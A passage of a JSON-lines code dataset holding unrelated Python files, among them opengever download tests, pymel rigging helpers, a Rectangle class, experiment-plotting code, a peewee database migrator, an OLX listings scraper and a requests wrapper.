csv_writer.writerow(['Data {0}'.format(i)] * 5)\n\n output_mixin = TestOutputMixin()\n data = output_mixin.get_csv_content(outputfile)\n self.assertEqual(7, len(data))\n self.assertEqual('Title 1', data[0][0])\n","sub_path":"tests/test_mixins.py","file_name":"test_mixins.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"553594505","text":"from ftw.testbrowser import browsing\nfrom opengever.bumblebee.events import PDFDownloadedEvent\nfrom opengever.journal.handlers import DOCUMENT_ADDED_ACTION\nfrom opengever.testing import IntegrationTestCase\nfrom opengever.testing.readonly import ZODBStorageInReadonlyMode\nfrom zope.event import notify\nimport transaction\n\n\nclass TestFileDownloadInReadOnly(IntegrationTestCase):\n\n features = ('bumblebee', )\n\n @browsing\n def test_file_download_journaling_doesnt_cause_readonly_error(self, browser):\n self.login(self.regular_user, browser)\n\n # Get other potential writes-on-read out of the way.\n # Those are not what we're testing here.\n browser.open(self.document,\n view='tabbed_view/listing',\n data={'view_name': 'overview'})\n transaction.commit()\n\n with ZODBStorageInReadonlyMode():\n browser.find('Download copy').click()\n browser.find('Download').click()\n transaction.commit()\n\n self.assertEqual(200, browser.status_code)\n self.assertEqual(self.document.file._data, browser.contents)\n\n self.assertEqual(\n len(self.document.file._data),\n int(browser.headers['Content-Length']))\n\n self.assertEqual(\n 'application/vnd.openxmlformats-officedocument.'\n 'wordprocessingml.document',\n browser.headers['Content-Type'])\n\n @browsing\n def test_downloading_doc_pdf_journaling_doesnt_cause_readonly_error(self, browser):\n self.login(self.regular_user, browser)\n\n with ZODBStorageInReadonlyMode():\n notify(PDFDownloadedEvent(self.document))\n transaction.commit()\n\n # Last journal entry should be document added, not 'PDF downloaded'\n msg = u'Document added: Vertr\\xe4gsentwurf'\n self.assert_journal_entry(self.document, DOCUMENT_ADDED_ACTION, msg)\n\n @browsing\n def test_downloading_mail_pdf_journaling_doesnt_cause_readonly_error(self, browser):\n self.login(self.regular_user, browser)\n\n with ZODBStorageInReadonlyMode():\n notify(PDFDownloadedEvent(self.mail_eml))\n transaction.commit()\n\n # Last journal entry should be document added, not 'PDF downloaded'\n msg = u'Document added: Die B\\xfcrgschaft'\n self.assert_journal_entry(self.mail_eml, DOCUMENT_ADDED_ACTION, msg)\n","sub_path":"opengever/readonly/tests/test_file_download.py","file_name":"test_file_download.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"177996109","text":"import pymel.core as pymel\nimport logging\n\n'''\nThis method facilitate the creation of utility nodes by connecting/settings automaticly attributes.\n'''\n__aBasicTypes = [int, float, bool, pymel.datatypes.Matrix, pymel.datatypes.Vector]\ndef _isBasicType(_val):\n global __aBasicTypes\n return type(_val) in __aBasicTypes\n\ndef ConnectOrSetAttr(_attr, _val):\n if isinstance(_val, list) or isinstance(_val, tuple):\n\n # Note: List attribute and compound attribute don't have the same way of iterating.\n if _attr.isArray():\n for i, val in enumerate(_val):\n ConnectOrSetAttr(_attr.elementByLogicalIndex(i), val)\n elif _attr.isCompound():\n children = _attr.getChildren()\n for child, val in zip(children, _val):\n ConnectOrSetAttr(child, val)\n else:\n raise Exception(\"Can't apply value {0} on attribute {1}, need an array or compound\".format(_val, _attr))\n\n '''\n for i, pSubValue in enumerate(_val):\n ConnectOrSetAttr(_attr.elementByLogicalIndex(i), pSubValue)\n '''\n else:\n if isinstance(_val, pymel.Attribute):\n pymel.connectAttr(_val, _attr, force=True)\n elif _isBasicType(_val):\n _attr.set(_val)\n else:\n logging.error(\n '[ConnectOrSetAttr] Invalid value for attribute {0} of type {1} and value {2}'.format(_attr.name(),\n type(_val),\n _val))\n raise TypeError\n\ndef CreateUtilityNode(_sClass, *args, **kwargs):\n uNode = pymel.shadingNode(_sClass, asUtility=True)\n for sAttrName, pAttrValue in kwargs.items():\n if not uNode.hasAttr(sAttrName):\n raise Exception('[CreateUtilityNode] UtilityNode {0} doesn\\'t have an {1} attribute. Skipping it.'.format(_sClass, sAttrName))\n else:\n ConnectOrSetAttr(uNode.attr(sAttrName), pAttrValue)\n return uNode\n\n#\n# CtrlShapes Backup\n#\ndef hold_ctrl_shapes(_oCtrl, parent=None):\n aShapes = filter(lambda x: isinstance(x, pymel.nodetypes.CurveShape), _oCtrl.getShapes())\n oSnapshot = pymel.duplicate(_oCtrl, parentOnly=True, returnRootsOnly=True)[0]\n for oShape in aShapes:\n oShape.setParent(oSnapshot, s=True, r=True)\n if parent:\n oSnapshot.setParent(parent)\n else:\n oSnapshot.setParent(world=True)\n oSnapshot.rename('_{0}'.format(_oCtrl.name()))\n return oSnapshot\n\ndef fetch_ctrl_shapes(source, target):\n # Remove any previous shapes\n pymel.delete(filter(lambda x: isinstance(x, pymel.nodetypes.CurveShape), target.getShapes()))\n for source_shape in source.getShapes():\n source_shape.setParent(target, r=True, s=True)\n source_shape.rename(target.name() + 'Shape')\n\n # TODO: Restore AnnotationShapes\n pymel.delete(source)\n\ndef BackupCtrlShapes(**kwargs):\n aCtrls = [o.getParent() for o in pymel.ls('anm_*', type='nurbsCurve')]\n return [hold_ctrl_shapes(oCtrl, **kwargs) for oCtrl in aCtrls]\n\n# TODO: Fix bug when two objects have the same name.\ndef RestoreCtrlShapes():\n aSources = [o.getParent() for o in pymel.ls('_anm_*', type='nurbsCurve')]\n\n for oSource in aSources:\n sTargetName = oSource.name()[1:]\n if pymel.objExists(sTargetName):\n oTarget = pymel.PyNode(str(sTargetName))\n\n fetch_ctrl_shapes(oSource, oTarget)\n #pymel.delete(oSource)\n\ndef create_squash_atts(attStretch, numSegments):\n import libFormula\n if not isinstance(attStretch, pymel.Attribute):\n raise IOError(\"Expected pymel Attribute, got {0} ({1})\".format(attStretch, type(attStretch)))\n return_vals = []\n for i in range(numSegments):\n pos = float(i)/(numSegments-1) * 2.0 - 1.0\n attSquash = libFormula.parse(\"s^(e^(x^2)))\", s=attStretch, x=pos)\n return_vals.append(attSquash)\n return return_vals\n","sub_path":"omtk/libs/libRigging.py","file_name":"libRigging.py","file_ext":"py","file_size_in_byte":4033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"109270016","text":"#!/usr/bin/python3\n\n'''module for shapes'''\n\n\nfrom .base import Base\nfrom sys import stdout\n\n\nclass Rectangle(Base):\n '''Rectangle Class that inherits from Base Class'''\n def __init__(self, width, height, x=0, y=0, id=None):\n '''Initialisation of the instance'''\n super().__init__(id)\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n\n # *********** Properties Setters and Getters Section *************\n\n # width Property\n @property\n def width(self):\n '''retrieves the __width attribute value'''\n return self.__width\n\n @width.setter\n def width(self, value):\n '''sets the new value to the __width attribute'''\n if type(value) is not int:\n raise TypeError('width must be an integer')\n if value <= 0:\n raise ValueError('width must be > 0')\n self.__width = value\n\n # height Property\n @property\n def height(self):\n '''retrieves the __height attribute value'''\n return self.__height\n\n @height.setter\n def height(self, value):\n '''sets the new value to the __height attribute'''\n if type(value) is not int:\n raise TypeError('height must be an integer')\n if value <= 0:\n raise ValueError('height must be > 0')\n self.__height = value\n\n # x Property\n @property\n def x(self):\n '''retrieves the __x attribute value'''\n return self.__x\n\n @x.setter\n def x(self, value):\n '''sets the new value to the __x attribute'''\n if type(value) is not int:\n raise TypeError('x must be an integer')\n if value < 0:\n raise ValueError('x must be >= 0')\n self.__x = value\n\n # y Property\n @property\n def y(self):\n '''retrieves the __y attribute value'''\n return self.__y\n\n @y.setter\n def y(self, value):\n '''sets the new value to the __y attribute'''\n if type(value) is not int:\n raise TypeError('y must be an integer')\n if value < 0:\n raise ValueError('y must be >= 0')\n self.__y = value\n\n # **** End of Properties Setters and Getters Section *****\n\n # *************** Instance Methods Section ***************\n\n def area(self):\n '''calculates the rectangle area\n Returns:\n the calculation result \"the area\"\n '''\n return self.width * self.height\n\n def display(self):\n '''prints the rectangle instance with the # character'''\n buffer = [' ' * self.x + '#' * self.width for h in range(self.height)]\n print('\\n' * self.y + '\\n'.join(buffer))\n\n def update(self, *args, **kwargs):\n '''Updates the instance attributes from\n the arguments passed in a strict order\n or from the kwargs\n '''\n i = 0\n attributes = ['id', 'width', 'height', 'x', 'y']\n if len(args) > 0:\n for attr in attributes:\n if i > len(args) - 1:\n break\n setattr(self, attr, args[i])\n i += 1\n else:\n for key, value in kwargs.items():\n if key not in attributes:\n continue\n setattr(self, key, value)\n\n def to_dictionary(self):\n '''returns the dictionary representation of a Rectangle instance'''\n return {\n 'id': self.id,\n 'x': self.x,\n 'y': self.y,\n 'width': self.width,\n 'height': self.height\n }\n\n # *********** End of Instance Methods Section ************\n\n # **************** Magic Methods Section *****************\n\n def __str__(self):\n '''returns the string representation fo the instance'''\n return (f'[Rectangle] ({self.id}) {self.x}/{self.y}'\n f' - {self.width}/{self.height}')\n\n # ************ End of Magic Methods Section **************\n","sub_path":"0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":3975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"248031881","text":"import torch\nimport numpy as np\nimport seaborn as sns\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MultipleLocator, AutoMinorLocator\nfrom compress_training import DATASETS\nfrom glob import glob\n\n# These attribute are for retro compatibility with\n# Experiments that did not have them\nDEFAULT_EXTRA_PARAMS = ['compression']\n\ndef summarize_experiment(experiment, extra_params):\n val_acc = experiment[experiment.measure == 'val_acc']\n best_val = val_acc.sort_values(by='value', ascending=False).iloc[0]\n epoch = best_val.epoch\n summary = experiment[experiment.epoch==epoch].groupby('measure').mean()\n keys = list(summary.index) + ['time', 'epoch', 'lambda_start', 'lambda_decay', 'layers', 'iteration', 'algorithm']\n\n values = list(summary.value) + [float(best_val.time), int(epoch)] + list(extra_params)\n missing_values = len(keys) - len(values) # Computing the number of missin paramters\n # Adding default values for the missing parmaeters\n if missing_values > 0:\n values += DEFAULT_EXTRA_PARAMS[-missing_values:]\n result = pd.DataFrame([values], columns=keys)\n if min(experiment[experiment.measure == 'lambda'].epoch) == 0: # Solve bug\n test = experiment[experiment.epoch==epoch-1].groupby('measure').mean()\n result['lambda'] = pd.Series([test.loc['lambda'].value])\n return result\n\ndef merge_all_experiments(experiments):\n return pd.concat(experiments).fillna(0)\n\ndef get_experiments(experiment_name):\n files = glob('./experiments/%s/*.experiment' % experiment_name)\n experiments = [torch.load(x, 'rb') for x in files]\n ids = [x.split('/')[-1].replace('.experiment', '') for x in files]\n return ids, experiments\n\ndef get_summary(experiments):\n summarized = [summarize_experiment(x[1], x[0]) for x in experiments]\n summary = merge_all_experiments([x for x in summarized if x is not None])\n # summary['lambda_start'] = np.log10(summary['lambda_start'])\n summary.reset_index(drop=True, inplace=True)\n return summary\n\ndef best_experiment(summary, experiments, mode):\n s = summary.sort_values(by='val_acc')\n best = s.iloc[-1]\n return [x for x in experiments if x[1][x[1].measure == 'val_acc'].value.max() == best.val_acc][0]\n\ndef plot_experiment(experiment, prefix, mode):\n infos, x = experiment\n capacities = x[x.measure == 'capacity']\n train_acc = x[x.measure == 'mean_train_acc']\n test_acc = x[x.measure == 'test_acc']\n val_acc = x[x.measure == 'val_acc']\n best_val_acc_idx = val_acc.value.argmax()\n s = summarize_experiment(x, infos).iloc[0]\n best_val_acc = s.val_acc\n best_test_acc = s.test_acc\n best_capacity = s.capacity\n fig = plt.figure(figsize=(10, 5))\n a = fig.gca()\n a.grid()\n a.set_xlabel('Time (s)')\n b = a.twinx()\n b.set_yscale('log')\n b.set_ylabel('Capacity in neurons')\n b.plot(capacities.time, capacities.value, label='Total Capacity')\n if mode == 'classification':\n a.set_ylabel('Accuracy (%)')\n a.plot(train_acc.time, train_acc.value * 100, label='Train accuracy')\n a.plot(val_acc.time, val_acc.value * 100, label='Validation accuracy')\n a.plot(test_acc.time, test_acc.value * 100, label='Test accuracy')\n a.yaxis.set_minor_locator(MultipleLocator(0.1))\n a.yaxis.set_major_locator(MultipleLocator(1))\n a.legend(loc='lower left')\n else:\n a.set_ylabel('MSE')\n a.plot(train_acc.time, -train_acc.value, label='Train Error')\n a.plot(val_acc.time, -val_acc.value, label='Validation Error')\n a.plot(test_acc.time, -test_acc.value, label='Test Error')\n a.set_yscale('log')\n a.legend(loc='upper right')\n a.yaxis.grid(b=True, which='major', linestyle='-')\n a.yaxis.grid(b=True, which='minor', alpha=0.4, linestyle='--')\n a.xaxis.grid(b=True, which='major', linestyle='-')\n a.xaxis.grid(b=True, which='minor', alpha=0.4, linestyle='--')\n plt.title('%s - Best Model (%s layer(s), %s neurons, v=%s, t=%s)' % (prefix, infos[2], int(best_capacity), -best_val_acc, -best_test_acc))\n # plt.savefig('./plots/%s_compressor_accuracies_size.png' % prefix)\n # plt.close()\n\n\ndef remove_outliers(summaries, dataset_name):\n outlier_limit = (-np.inf, np.inf)\n if dataset_name == 'Add10':\n outlier_limit = (0, 1.3)\n elif dataset_name == 'Airfoil':\n outlier_limit = (0, 25)\n elif dataset_name == 'Poker':\n outlier_limit = (0.95, 1)\n tac = np.abs(summaries.test_acc)\n return summaries[np.bitwise_and(tac >= outlier_limit[0], tac <= outlier_limit[1])]\n\n\ndef plot_algorithm_comparison(summaries, dataset_name, mode='classification', metric='val_acc', first='compression', other='static'):\n cmap_first = 'Greens'\n cmap_second = 'Reds'\n\n first_summaries = summaries[summaries.algorithm == first]\n second_summaries = summaries[summaries.algorithm == other]\n plt.figure()\n if mode == 'classification':\n factor1 = 100\n factor2 = 100\n else:\n factor1 = -1\n factor2 = -1\n if metric != 'val_acc':\n factor1 = 1\n\n other = len(second_summaries[metric]) > 0\n sns.kdeplot(factor1 * first_summaries[metric], factor2 * first_summaries.test_acc, cmap=cmap_first, shade_lowest=False,shade=True, alpha=0.8, label=False)\n if other:\n sns.kdeplot(factor1 * second_summaries[metric], factor2 * second_summaries.test_acc, cmap=cmap_second, shade_lowest=False,shade=True, alpha=0.5, label=False)\n plt.scatter(factor1 * first_summaries[metric], factor2 * first_summaries.test_acc, alpha=1, color=sns.color_palette(cmap_first)[1], edgecolors='0.3', label=None)\n if other:\n plt.scatter(factor1 * second_summaries[metric], factor2 * second_summaries.test_acc, alpha=0.5, color=sns.color_palette(cmap_second)[1], edgecolors='0.3', label=None)\n a = plt.gca()\n a.yaxis.set_minor_locator(AutoMinorLocator())\n a.xaxis.set_minor_locator(AutoMinorLocator())\n if mode == 'classification':\n plt.ylabel('Testing accuracy (%)')\n if metric == 'val_acc':\n plt.xlabel('Validation accuracy (%)')\n # a.yaxis.set_minor_locator(MultipleLocator(0.1))\n # a.yaxis.set_major_locator(MultipleLocator(1))\n # a.xaxis.set_minor_locator(MultipleLocator(0.1))\n # a.xaxis.set_major_locator(MultipleLocator(1))\n elif metric == 'capacity':\n plt.xlabel('Capacity in neurons')\n else:\n plt.ylabel('Testing MSE')\n if metric == 'val_acc':\n plt.xlabel('Validation MSE')\n elif metric == 'capacity':\n plt.xlabel('Capacity in neurons')\n\n a.yaxis.grid(b=True, which='major', linestyle='-')\n a.yaxis.grid(b=True, which='minor', alpha=0.4, linestyle='--')\n a.xaxis.grid(b=True, which='major', linestyle='-')\n a.xaxis.grid(b=True, which='minor', alpha=0.4, linestyle='--')\n a.set_axisbelow(True)\n if 'reference' in DATASETS[dataset_name]:\n plt.axhline(abs(factor2) *DATASETS[dataset_name]['reference'], label='Best result for this architecture')\n handles, labels = [list(x) for x in a.get_legend_handles_labels()]\n else:\n handles = []\n labels = []\n\n first_rectangle = plt.Rectangle((0, 0), 1, 1, color=sns.color_palette(cmap_first)[-3])\n second_rectangle = plt.Rectangle((0, 0), 1, 1, color=sns.color_palette(cmap_second)[-3])\n plt.legend([first_rectangle, second_rectangle] + handles, ['Deterministic Compression Training', 'Classic Training'] + labels)\n plt.gcf().set_size_inches((10, 10))\n if metric == 'val_acc':\n plt.axes().set_aspect('equal', 'datalim')\n plt.title('%s - Algorithm comparision for testing and validation accuracies' % dataset_name)\n else:\n plt.title('%s - Algorithm comparision for testing and capacity' % dataset_name)\n plt.savefig('./plots/%s_test_%s_compression_static_comparison.png' % (dataset_name, metric))\n plt.close()\n\ndef plot_dataset(dataset_name, mode='classification'):\n ids, experiments = get_experiments(dataset_name)\n summaries = remove_outliers(get_summary(experiments), dataset_name)\n best = best_experiment(summaries, experiments, mode=mode)\n plot_experiment(best, dataset_name, mode)\n plot_algorithm_comparison(summaries, dataset_name, mode, metric='val_acc')\n plot_algorithm_comparison(summaries, dataset_name, mode, metric='capacity')\n try:\n pairs = find_closest_experiments(summaries)\n plot_compression_improvements(pairs, dataset_name, mode)\n except:\n pass # Pass if correspondig are not generated\n\ndef find_closest_experiments(summaries, first='compression', second='static'):\n first_summaries = summaries[summaries.algorithm == first].sort_values('val_acc', ascending=False).drop_duplicates(['capacity'])\n second_summaries = summaries[summaries.algorithm == second].sort_values('val_acc', ascending=False).drop_duplicates(['capacity'])\n first_cap = first_summaries.capacity\n second_cap = second_summaries.capacity\n\n result = []\n for i, x in enumerate(first_cap):\n index = np.argmin(np.abs(second_cap.values - x))\n a = first_summaries.iloc[i]\n b = second_summaries.iloc[index]\n result.append((a, b))\n return result\n\ndef plot_compression_improvements(pairs, dataset_name, mode='classification'):\n plt.figure(figsize=(10, 5))\n if mode == 'classification':\n factor = 100\n else:\n factor = 1\n plt.scatter([x[0].capacity for x in pairs], [(x[0].test_acc - x[1].test_acc) * factor for x in pairs],\n color='C1', linewidth=1, marker='o', s=100, edgecolor='black')\n a = plt.gca()\n plt.xscale('log')\n plt.title('%s - Improvement in testing accuracy for compress training at fixed capacity' % dataset_name)\n plt.axhline(y=0, color='black', linewidth=3)\n plt.xlabel('Model capacity (neurons)')\n if mode == 'classification':\n plt.ylabel('Absolute MSE delta')\n a.yaxis.set_minor_locator(AutoMinorLocator())\n a.yaxis.grid(b=True, which='minor', alpha=0.4, linestyle='--')\n a.xaxis.grid(b=True, which='minor', alpha=0.4, linestyle='--')\n a.yaxis.grid(b=True, which='major', linestyle='-')\n a.xaxis.grid(b=True, which='major', linestyle='-')\n plt.savefig('./plots/%s_compression_training_improvements.png' % dataset_name)\n plt.close()\n\n\nif __name__ == '__main__':\n # plot_dataset('MNIST')\n # plot_dataset('FashionMNIST')\n # plot_dataset('Poker')\n # plot_dataset('Add10', mode='regression')\n # plot_dataset('Airfoil', mode='regression')\n pass\n","sub_path":"expriment_summary.py","file_name":"expriment_summary.py","file_ext":"py","file_size_in_byte":10543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"190099789","text":"\"\"\"SysMonitor Database migration tool\"\"\"\n\nimport logging\nimport os\nimport importlib\nimport re\nimport ast\n\nfrom playhouse.db_url import connect\nfrom playhouse.migrate import PostgresqlMigrator, SqliteMigrator, MySQLMigrator\n\nfrom sysmonitor.configuration import Configuration\nfrom sysmonitor import release\n\nfrom sysmonitor.models.database import DatabaseVariable\nfrom sysmonitor.models.host import Host, Disk, Resource, Service, ServiceHistory\n\nLOGGER = logging.getLogger(__name__)\n\nclass Migrator():\n \"\"\"\n Migration Tool\n\n It executes migration scriptsw when needed.\n\n This scripts must be located inside a file named migrate.py, under a\n folder with the target version as name and inside the migrations folder.\n Example for a migration targeting version 1.0.0:\n migrations/1.0.1/migrate.py\n\n Inside the file, the migration code mut be inside a function called migrate\n and it receives one argument, the database object\n \"\"\"\n def __init__(self):\n self.config = Configuration()\n db_url = self.config.get(\"database\", \"url\")\n self.database = connect(db_url)\n if \"postgresql\" in db_url:\n self.migrator_class = PostgresqlMigrator\n elif \"mysql\" in db_url:\n self.migrator_class = MySQLMigrator\n elif \"sqlite\" in db_url:\n self.migrator_class = SqliteMigrator\n else:\n raise ValueError(\"Invalid database type for migrations\")\n\n\n def do_migration(self):\n \"\"\"\n Execute the migration.\n\n If no tables exists, it runs peewee create_table method.\n If tables exists, it runs the necessar migration scripts\n \"\"\"\n self.database.connect()\n if self.database.get_tables():\n self.upgrade()\n else:\n self.create()\n self.update_version()\n\n def create(self):\n \"\"\"Create tables using peewee create_tables method\"\"\"\n self.database.create_tables([DatabaseVariable, Host, Disk, Resource,\n Service, ServiceHistory])\n LOGGER.info(\"Created tables\")\n uname = os.uname()\n Host.create(name=uname.nodename, address=\"http://127.0.0.1:8068\",\n requires_authentication=False, active=False,\n nodename=uname.nodename, os=\" \".join(uname))\n LOGGER.info(\"Created a host for this machine\")\n\n def upgrade(self):\n \"\"\"Executes migration scripts\"\"\"\n # Check if upgrade is required\n db_version = ast.literal_eval(DatabaseVariable.get_variable(\"version\"))\n if db_version >= release.version_db:\n LOGGER.debug(\"Database in version %s. Nothing to do.\",\n \".\".join([str(x) for x in release.version_db]))\n return\n\n # Load all available migrations\n migrations_path = os.path.dirname(os.path.abspath(__file__))\n migrations_path = os.path.join(migrations_path, \"migrations\")\n migrations = set()\n for migration in os.listdir(migrations_path):\n # Migration folder must be in format x.x.x\n if not re.match(r\"^\\d.\\d.\\d$\", migration):\n LOGGER.error(\"Invalid migration %s\", migration)\n continue\n migration = [int(x) for x in migration.split(\".\")]\n migrations.add(tuple(migration))\n\n # Discard previous migrations and do a sort\n migrations = sorted([x for x in migrations if x > db_version])\n\n # Executes the required migrations\n migrator = self.migrator_class(self.database)\n for migration in migrations:\n migration_str = \".\".join([str(x) for x in migration])\n migration_file = os.path.join(migrations_path, migration_str,\n \"migrate.py\")\n spec = importlib.util.spec_from_file_location(migration_str,\n migration_file)\n module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(module)\n LOGGER.info(\"Upgrading database to version %s\", migration_str)\n with self.database.atomic():\n module.migrate(migrator)\n self.update_version(migration)\n LOGGER.info(\"Database migrated to version %s\", migration_str)\n\n @staticmethod\n def update_version(version=False):\n \"\"\"\n Update database migration\n\n :param tuple version: New version. If false uses release.version_db\n \"\"\"\n version = release.version_db if not version else version\n DatabaseVariable.set_variable(\"version\", version)\n","sub_path":"sysmonitor/orm/migrator.py","file_name":"migrator.py","file_ext":"py","file_size_in_byte":4639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"94107641","text":"import logging\nimport time\nfrom datetime import datetime, timedelta\n\nimport Data_storage as ds\nimport Offer\nimport config as cfg\nimport request_composition\nfrom constants import HOUSES_CATEGORY_ID\n\nlogging.basicConfig(level=logging.INFO)\n\n\n# TODO: implement changing user agent\n# TODO: compare prices of a same listing\n# TODO: add search parameters to look into smaller market\n# TODO: get exact address from a map\n# TODO: gather list of districts, categories for search\n# TODO: save a phone number\n\n\ndef main():\n \"\"\"Parse offers according to limitations set in config file and in request\n composition.py and create a list with results\"\"\"\n for query in ds.get_parsing_queries():\n offers_added = 0\n\n query_name = query.get(\"Name\")\n category_id = query.get(\"category_id\")\n\n cfg.category_id = category_id\n\n logging.info(f\"Parsing offers for query: {query_name}. \\n\")\n\n list_of_offers = parse_search_results_pages(\n query.get(\"city_id\"),\n query.get(\"region_id\"),\n query.get(\"district_id\"),\n query.get(\"distance\"),\n query.get(\"query_term\"),\n query.get(\"category_id\"),\n )\n\n filtered_list_of_offers = filter_out_existing_offers(\n list_of_offers, category_id\n )\n\n for offer in filtered_list_of_offers:\n time.sleep(4) # sleep before getting next offer details\n try:\n offer_details = Offer.get_offer_details(offer)\n except (Offer.PageNotValid, AttributeError):\n continue\n update_offer_record(offer_details)\n offers_added += 1\n\n logging.info(f\"{query_name} added: {offers_added}.\")\n\n\ndef filter_out_existing_offers(list_of_offers, category_id):\n ids_in_db = ds.existing_offer_ids(category_id)\n\n filtered_list_of_offers = list()\n for offer in list_of_offers:\n try:\n olx_offer_id = int(offer.table[\"data-id\"]) # Get id of an offer\n except TypeError:\n continue\n if olx_offer_id not in ids_in_db:\n filtered_list_of_offers.append(offer)\n\n return filtered_list_of_offers\n\n\ndef parse_search_results_pages(\n city_id, region_id, district_id, distance, query_term, category_id\n):\n \"\"\"\n This function parses all offers from search pages within given limits\n and creates a list of offers with limited info\n available (price, olx_id, title).\n :param city_id:\n :param region_id:\n :param district_id:\n :param distance:\n :param query_term:\n :param category_id:\n :return:\n \"\"\"\n list_of_offers = []\n\n # Don't search for houses on pages above 10, they don't exist.\n if category_id == HOUSES_CATEGORY_ID & cfg.search_pages_lower_limit > 10:\n return list_of_offers\n\n search_url = request_composition.compose_request(\n city_id, region_id, district_id, category_id, distance, query_term\n )\n for current_page in range(\n cfg.search_pages_lower_limit, cfg.search_pages_upper_limit\n ):\n time.sleep(2) # to slow down process for anti-parsing algorithms\n search_url[1][\"page\"] = current_page\n try:\n offers_set = Offer.get_set_of_offers(\n search_url\n ) # Parses offers from a page\n except Offer.PageNotValid:\n continue\n for offer in offers_set:\n list_of_offers.append(\n offer\n ) # Parses offers from all pages in a range and creates list\n logging.info(f\"Number of offers parsed from search: {len(list_of_offers)} \\n\")\n return list_of_offers\n\n\ndef update_offer_record(list_of_offers):\n \"\"\"\n Adds offer record if it doesn't exist in data storage\n :param list_of_offers:\n :return:\n \"\"\"\n for offer in list_of_offers:\n ds.write_to_db(offer)\n\n\nstart_time = datetime.now()\nmain()\nlogging.info(\n f\"--- Process finished in {str(timedelta(seconds=(datetime.now() - start_time).seconds))} ---\"\n)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"329829794","text":"import pandas as pd\nimport Text_Proc_Utils as TPU\n\n# This function returns a dataframe with 2 columns. Category of expenses column as a categorical variable \n# and expense description as string. \ndef Get_Data(File_Path):\n expenses = pd.DataFrame.from_csv(File_Path,index_col= None)\n \n expenses.category = expenses.category.astype(\"category\")\n \n Sentences = expenses['expense description'].tolist()\n \n return Sentences, expenses.category\n\n# This function takes the expenses decription sentences and returns sentence vectors\ndef Get_Feature_Vectors(Sentences,model):\n V=[]\n for sentence in Sentences:\n V.append(TPU.sent_vectorizer(sentence, model))\n return V\n\n","sub_path":"Data_Prep_Utils.py","file_name":"Data_Prep_Utils.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"233723264","text":"# _*_ coding:utf-8 _*_\nimport os,sys,json\nsys.path.append(os.path.dirname(os.path.dirname(__file__)))\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nclass SendRequestsHeader():\n def sendRequestsheader(self,apiData):\n \"\"\"\n 发送接口请求\n :param apiData:接口请求数据\n :return: 返回接口响应信息，以json格式\n \"\"\"\n try:\n #发送请求数据\n method = apiData[\"method\"]\n # print(method)\n url = apiData[\"url\"]\n # print(url)\n if apiData[\"params\"] == \"\":\n par = None\n else:\n par = apiData[\"params\"]\n # print(par)\n if apiData[\"headers\"] == \"\":\n h = None\n else:\n h = apiData[\"headers\"]\n print(h)\n if apiData[\"body\"] == \"\":\n body_data = None\n else:\n body_data = apiData[\"body\"]\n\n type = apiData[\"type\"]\n #print(type)\n v = False\n if type == \"data\":\n body = body_data\n #print(body)\n elif type == \"json\":\n body =json.dumps(body_data)\n else:\n body = body_data\n #print(body)\n re =requests.request(method=method,url =url, headers =h,params = par,data=body,verify = v)\n print(re)\n msg = re.headers\n # print(msg)\n # msg['status_code']=re.status_code\n # header = re.headers\n # print(header)\n #print(msg)\n #print(re.status_code)\n return msg\n #print(re.text)\n # if method ==\"get\":\n # re = s.get(url =url, headers =h,params = par,data = body,verify = v)\n # print(re.text)\n # return re\n # elif method == \"post\":\n # re = s.post(url =url, headers =h,params = par,data = body,verify = v)\n # print(re.text)\n # return re\n except Exception as e:\n print(e)","sub_path":"lib/sendrequestheader.py","file_name":"sendrequestheader.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"468742684","text":"from dataAcquisition import User\nfrom dataAcquisition import Wiki\n\nuserIDs = open('UserIDs.txt', 'r')\nfeatures = open('feature.txt', 'w')\n\n\n\ndef reputationFeature(user):\n if user.reputation > 1:\n features.write('0 ')\n else:\n features.write('1 ')\n\ndef badgeCount(user):\n if user.total_badges:\n features.write('0 ')\n else:\n features.write('1 ')\n\nfor userID in userIDs:\n user = User(userID)\n\n #import functions for gathering here\n reputationFeature(user)\n badgeCount(user)\n\n features.write('\\n')\n\nfeatures.close()\nuserIDs.close()\n","sub_path":"featureCollection.py","file_name":"featureCollection.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"225115724","text":"import json\nimport glob\nfrom tqdm import tqdm\nimport statistics\nimport os\nimport math\nfrom collections import defaultdict, Counter, OrderedDict\nimport pickle\nfrom copy import deepcopy\n\n\ndef get_repre(pair):\n h, tmp = pair\n t = list(tmp)\n new_t = ''\n if len(t) == 1:\n new_t = t[0]\n elif len(t) == 2:\n new_t = t[0] + ' and ' + t[1]\n else:\n new_t = ', '.join(t[:-1]) + ', and ' + t[-1]\n return h, new_t\n\ndef get_repre_r(pair):\n h, t = pair\n t = list(t)\n new_t = ''\n if len(t) == 1:\n new_t = t[0]\n elif len(t) == 2:\n new_t = t[0] + ' and ' + t[1]\n else:\n new_t = ', '.join(t[:-1]) + ', and ' + t[-1]\n # print(new_t, h)\n return new_t, h\ndef get_whole(t):\n new_t = ''\n if len(t) == 1:\n new_t = t[0]\n elif len(t) == 2:\n new_t = t[0] + ' and ' + t[1]\n else:\n new_t = ', '.join(t[:-1]) + ', and ' + t[-1]\n return 